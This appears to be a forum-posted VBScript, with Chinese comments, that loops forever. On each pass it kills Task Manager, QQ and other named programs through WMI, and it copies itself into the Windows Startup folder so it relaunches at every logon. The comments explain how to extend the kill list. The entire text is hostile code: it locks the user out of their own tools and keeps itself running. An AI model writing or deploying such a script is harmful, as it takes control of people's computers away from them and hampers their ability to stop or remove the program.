do
dim y,x
set y=getobject("winmgmts:\\.\root\cimv2")
set x=y.execquery("select * from win32_process where name='taskmgr.exe'or Name = 'QQ.exe'or name = '微博AIR.exe' or name ='....如此类推' ") ' 注意 ' ' 单引号里面要写任务管理器里显示的名称,,,,如还需加其他程序就在后面 加 or name='.... 'for each i in x
i.terminate()
next set fso = createobject("scripting.filesystemobject")
fso.copyfile wscript.scriptfullname,"C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
loop 代码完毕你的分数好像太小了.....